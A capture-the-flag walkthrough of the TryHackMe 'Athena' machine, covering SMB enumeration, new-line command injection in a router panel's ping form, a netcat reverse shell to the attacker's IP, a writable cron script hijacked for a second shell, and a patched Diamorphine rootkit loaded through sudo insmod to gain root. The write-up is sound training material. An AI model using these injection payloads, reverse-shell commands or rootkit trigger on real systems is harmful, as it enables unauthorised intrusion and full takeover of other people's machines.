Overview
Athena is a TryHackMe Linux machine that starts with an SMB share leaking a message which points toward an in-development router panel web application. New-line command injection in the panel’s ping functionality provides a foothold as www-data, and an editable cron job escalates that to the athena user. From there, sudo rights over insmod allow a suspicious kernel module to be loaded, which turns out to be a rebuilt Diamorphine LKM rootkit with a patched signal value that grants a root shell.
Attack Chain
- Scan the target and identify
SMB(139/445) andHTTP(80) among the open ports - Enumerate the
publicSMBshare and downloadmsg_for_administrator.txt - Recover a reference to the in-development
/myrouterpanelendpoint from the message - Test the panel’s
pingfunctionality and discover new-line (\n/%0a) command injection - Confirm
ncandbashare available and pop a reverse shell aswww-data - Run
pspy64and identify a root-owned cron job executing/usr/share/backup/backup.sh - Abuse write access to
backup.shto catch a reverse shell asathena - Read the user flag and enumerate
sudo -l, finding permission toinsmoda kernel module,venom.ko - Statically analyze the module with
nmandmodinfo, identifying it as a rebuiltDiamorphineLKM rootkit - Load the module and confirm it hides itself from
lsmodbut is still visible indmesg - Reverse the module with
objdumpto recover its patched root-granting signal value - Send the recovered signal to escalate to
rootand read the root flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan.
export IP=10.80.176.30; export NAME=ATHENA; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME
We export the discovered ports and run a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v
The open TCP ports are:
21,80,135,139,445

Web Enumeration
Port 80 - http
Browsing to port 80 shows a basic information page for “Athena - Gods of Olympus”.

All of the page’s links are dead ends, so we run a feroxbuster scan against the site.
feroxbuster --url http://$IP:80
Nothing of interest is discovered.

SMB Enumeration
Port 139,445 - smb
We use smbmap to check for accessible shares.
python3 ~/Tools/smbmap/smbmap/smbmap.py -H $IP
We have READ ONLY access on the public share.

Enumerating the share with smbclient reveals a file, msg_for_administrator.txt, which we download.
smbclient //$IP/public
get msg_for_administrator.txt

The message references an endpoint for a ping web app still in development, /myrouterpanel.

Foothold
We navigate to the /myrouterpanel endpoint.

Testing the ping Functionality
We start tcpdump to capture the ping request before testing the form.
sudo tcpdump -i tun0 icmp
We enter our attacking machine’s IP and run the command.

tcpdump receives the request.

The browser shows what looks like terminal output.

Inspecting the request in Burp Suite confirms this is a prime target for command injection, as we can try chaining a system command after ping.

New-Line Command Injection
After testing several separators, we find that a new line (\n), URL-encoded as %0a, is not filtered.
The normal payload:
ip=192.168.142.96\nid&submit=
With \n URL-encoded, our id command executes:
ip=192.168.142.96%0aid&submit=

The response contains the output of both ping and our id command.

Reverse Shell
We check whether nc and bash are available before attempting a reverse shell.
which nc, URL-encoded:
ip=192.168.142.96%0awhich%20nc&submit=

which bash, URL-encoded:
ip=192.168.142.96%0awhich%20bash&submit=

With both nc and bash confirmed, we start a penelope listener on port 443. Some characters are filtered, so we use the simplest working shell, nc -e, with full binary paths.
/usr/bin/nc 192.168.142.96 443 -e /usr/bin/bash
We build the payload in Burp Suite’s Inspector and URL-encode it.

The final reverse shell payload:
ip=192.168.142.96%0a%2fusr%2fbin%2fnc%20192.168.142.96%20443%20-e%20%2fusr%2fbin%2fbash&submit=

Executing the payload catches a shell as www-data.

Privilege Escalation to athena
We transfer pspy64 to the target, make it executable, and run it for three minutes.
timeout 3m ./pspy64

We spot a script, /usr/share/backup/backup.sh, being executed every 2-3 minutes.

We investigate the script and find that it is writable by our current user.

Since the script executes as athena, we start a second penelope listener on port 4545 and reuse our earlier reverse shell payload with the port changed.
/usr/bin/nc 192.168.142.96 4545 -e /usr/bin/bash
No changes are needed elsewhere in the script, we simply append the reverse shell payload after the bash shebang.

We catch a shell as athena.

We read the user flag.

Privilege Escalation to root
The IP address changes from this point on, as the machine was restarted mid-attack.
We run sudo -l and see we can run /usr/sbin/insmod /mnt/.../secret/venom.ko with root privileges.

insmod loads kernel modules (.ko files) directly into the running kernel, so we need to inspect venom.ko before loading it.
Static Analysis
We run nm for a static look at the module’s undefined symbols.
nm -u /mnt/.../secret/venom.ko
commit_creds and prepare_creds appearing together is a classic Linux privilege escalation pattern: prepare_creds() duplicates a cred struct and commit_creds() applies a given cred struct to the calling task.

We check the module’s metadata with modinfo.
modinfo /mnt/.../secret/venom.ko
The description, LKM rootkit, and the author, m0nad, stand out.

A search for m0nad and LKM rootkit leads to m0nad/Diamorphine, an LKM rootkit on GitHub. According to its documentation, sending signal 31 hides or unhides any process, signal 63 toggles the module’s own visibility, and signal 64 to any PID makes the given user root.
Loading the Module
We run the sudo command to load the module.
sudo /usr/sbin/insmod /mnt/.../secret/venom.ko
We check whether the module loaded with lsmod.
lsmod | grep venom
lsmod shows nothing, which matches Diamorphine’s documented behaviour of starting invisible once loaded. We instead check dmesg, which examines the kernel ring buffer.
dmesg | tail -20
dmesg catches the load, since the taint warning is printed to the ring buffer before the module hides itself.

Recovering the Patched Signal
With the module confirmed loaded, we try sending signal 64 to our own shell’s PID with kill.
kill -64 $$
This immediately kills our shell instead of granting root, the module has clearly been patched from the original Diamorphine source. We check Diamorphine’s header file, diamorphine.h, on GitHub, which declares two out-of-the-ordinary functions, give_root and hacked_kill.

The same header also defines the documented signal values.

Looking at diamorphine.c, the hacked_kill case statement calls give_root() when it receives the hardcoded SIGSUPER value, which is 64 in the upstream source.

Rather than disassembling venom.ko from scratch, we use objdump to look for the hacked_kill function.
objdump -d -M intel /mnt/.../secret/venom.ko | grep -A 80 "hacked_kill"
-d disassembles, -M intel gives Intel-syntax output, and the grep -A 80 prints 80 lines after the match. The output shows three cmp instructions, each against a hex value.

The source and README describe three signals: 31 (hide/unhide a process), 63 (toggle module visibility), and 64 (become root). We convert each to hex to compare against the disassembly.
printf "0x%x" 31
printf "0x%x" 63
printf "0x%x" 64

31 (0x1f) and 63 (0x3f) match the disassembly, but 64 (0x40) does not, instead we see 0x39. We convert 0x39 back to decimal to get the patched root signal.
printf "%d\n" 0x39
The patched root signal is 57.

We retry our earlier payload using signal 57 instead of 64.
kill -57 $$
This time it works.

We confirm root access.


We read the root flag.

Key Takeaways
Athena chains together several small weaknesses into a full compromise. An SMB share meant for internal use leaks a reference to an unfinished web application, and that application fails to sanitize new lines in a ping field, giving direct command injection. A world-writable cron script bridges the gap to a second user, and that user’s sudo rights over insmod allow an unvetted kernel module to be loaded as root. The final step, recovering a single patched hex constant from a disassembled Diamorphine rootkit, is a good reminder that renaming or lightly modifying a well-known offensive tool does not meaningfully hide its behaviour from static and dynamic analysis.